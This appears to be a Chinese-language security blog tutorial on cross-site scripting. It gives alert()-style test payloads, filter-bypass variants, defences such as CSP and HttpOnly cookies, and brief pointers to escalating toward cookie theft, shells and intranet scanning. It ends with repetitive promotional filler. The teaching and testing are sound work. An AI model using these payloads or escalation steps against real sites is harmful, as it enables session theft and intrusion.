0x01 漏洞原理:XSS 究竟是个啥玩意儿?
简单来说,XSS 就是应用程序在给浏览器“发货”时,夹带了用户提交的“不良信息”,而且还没经过严格的质检。结果浏览器一看,这玩意儿能执行啊,得嘞,直接开干!
别怕,这个“跨”其实是浏览器的一个小脾气,不是啥大毛病。
记住: 浏览器有个规矩,叫“同源策略”,意思是只有发 Cookie 的网站才能读取 Cookie。
XSS 搞事情,轻则窃取你的 Cookie,重则劫持你的 Web 行为,甚至联合 CSRF 来一波精准打击!
0x02 XSS 的三大流派
反射型 XSS:
这种 XSS 就像“一次性用品”,在搜索栏、登录页面等地方出没。攻击者会想方设法诱骗你点击一个链接,一旦你点了,Cookie 就可能被盗走,然后你就等着被钓鱼吧!
存储型 XSS:
这种 XSS 就像“牛皮癣”,一旦被种下,就会长期存在。它经常出现在留言、评论、博客日志等互动区域,直接威胁 Web 服务器的安全。
DOM 型 XSS:
这种 XSS 就像“隐形刺客”,基于浏览器的“文档对象模型”搞事情。
注意: DOM 型和反射型类似,都需要你点击攻击者精心炮制的 URL。
关键点: DOM 型 XSS 是通过 URL 传入参数来控制触发的。
重点: DOM 型 XSS 返回的页面源码里看不到你输入的 Payload,它藏在浏览器的 DOM 里!
举个栗子: 假设你的页面里有这么一段脚本:
<script>
var message = location.hash.slice(1); // 从 URL 的 hash 中获取参数
document.write(message); // 将参数写入页面
</script>
如果攻击者把 JavaScript 代码作为 message
的参数,这段代码就会被动态写入到页面中,然后像服务器返回的代码一样被执行!
所以,DOM 型 XSS 和反射型 XSS 一样,都需要你主动去点攻击者构造的 URL!
如何揪出 XSS 这个小坏蛋?
基本验证:
"><script>alert(document.cookie)</script>
把这段代码提交给每个页面的每个参数,然后盯着响应。如果攻击字符串原封不动地出现在响应里,那恭喜你,可能找到 XSS 了!
绕过姿势:
有些 App 可能会用黑名单过滤,想阻止 XSS 攻击?Too young, too simple!
"><ScRiPt>alert(document.cookie)</ScRiPt>
DOM 型 XSS 的特殊之处:
记住,DOM 型 XSS 的 Payload 不在服务器的响应里,它藏在浏览器的 DOM 里,而且能被客户端 JavaScript 访问。所以,上面的基本验证方法可能失效。
0x03 实战演练:XSS 漏洞大赏
反射型 XSS 案例:
案例 1:标签属性值
假设页面里有这么一段代码:
<input type="text" name="name" value="test-text">
搞事情的姿势: 结束双引号,再来一段脚本!
"><script>alert(1)</script>
案例 2:JavaScript 字符串
假设页面里有这么一段代码:
<script>var a='test-text'; var b=123;...</script>
搞事情的姿势: 用分号结束语句,插入恶意代码!
'; alert(1); var foo='
案例 3:URL 特性
假设页面里有这么一段代码:
<a href="test-text">Click here</a>
搞事情的姿势: 利用 javascript:
协议!
javascript:alert(1);
各种“奇技淫巧”:
- 脚本标签:
<script>alert(1)</script>
- 事件处理器:
<img onerror=alert(1) src=a>
- 脚本伪协议:
<object data=javascript:alert(1)></object>
绕过过滤的 N 种姿势:
- HTML 标签名称:
- 大小写混用:
<iMg onerror=alert(1) src=a>
- 插入 NULL 字节:
<[%00]img onerror=alert(1) src=a>
- 标签名称后加空格:
<img[%09]onerror=alert(1) src=a>
- 大小写混用:
- 属性名称:
- 绕过
on
开头的过滤器:<img o[%00]nerror=alert(1) src=a>
- 用其他字符分隔属性:
<img onerror='alert(1)' src=a>
- 绕过
- 属性值:
- NULL 字节或 HTML 编码:
<img onerror=a[%00]lert(1) src=a>
- HTML 编码、十六进制编码、Base64 编码、ASCII 编码
- NULL 字节或 HTML 编码:
- 字符集: UTF-7、US-ASCII、UTF-16
- 拆分跨站:
<script>z='<script src=';/*
最终执行<script>
脚本代码的绕过技巧:
- Unicode 转义:
<script>alert(1)</script>
- Eval 大法:
<script>eval('alert(1)');</script>
- 用
[]
代替.
:<script>alert(document['cookie'])</script>
存储型 XSS 案例:
- 确定存储型 XSS 的方法和反射型类似,但也有区别。
- 提交恶意字符串后,要反复检查 App 的所有功能。
- 检查管理员才能访问的区域,看看是否有可被普通用户控制的数据。
- 检查 App 的整个流程,确保测试彻底。
- 检查可控的带外通道,比如 HTTP 消息头。
在上传文件中搞事情:
如果 App 允许用户上传文件,而且这些文件能被其他人看到或下载,那就可能存在存储型 XSS。
举个栗子: 上传一个 HTML 文件,看看能不能执行。
进阶操作: 把 XSS 的 Payload 藏在图片里,上传到用户头像!
DOM 型 XSS 案例:
关键: 检查客户端 JavaScript 代码,看看是否使用了可能导致漏洞的 DOM 属性。
重点关注这些 API:
document.location
特别注意:
document.write()
小技巧: 服务器不解析 URL 中 #
后面的内容。
如何防止 XSS?
- 确认输入: 别让数据太长!
- 确认输出: 对用户提交的数据进行 HTML 编码,净化恶意代码!
- 消除危险插入点: 尽量避免在 JavaScript 中插入用户可控的数据!
- 允许有限的 HTML:
- 客户端:确认插入的数据只包含字母数字和空白符。
- 服务端:严格确认 URL 数据,查询字符串中只有一个参数。
0x04 XSS 防御:终极方案
- Content Security Policy (CSP):
- 禁止加载外域代码,防止复杂的攻击逻辑。
- HTTP-only Cookie:
- 禁止 JavaScript 读取某些敏感 Cookie。
- 验证码:
- 防止脚本冒充用户提交危险操作。
0x05 总结:XSS 攻防之道
快速发现 XSS 的方法:
- 反射型 XSS: 找输入点,构造 Payload,监控响应。
- DOM 型 XSS: Payload 不在服务器响应里,藏在浏览器的 DOM 里。
- 存储型 XSS: 输入 Payload,看是否被过滤;反向猜测输出点,构造 Payload。
XSS 蠕虫的产生条件:
- 可以执行恶意操作。
- 可以感染并传播。
XSS 如何打到内网后台?
- XSS 平台拿 Cookie 登录后台,或者钓鱼拿登录信息。
- 找上传点 GetShell。
- 结合 MSF 使用。
- 用 XSS 扫描内网端口。
- 利用探测出来的信息进一步利用,比如 Redis。
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************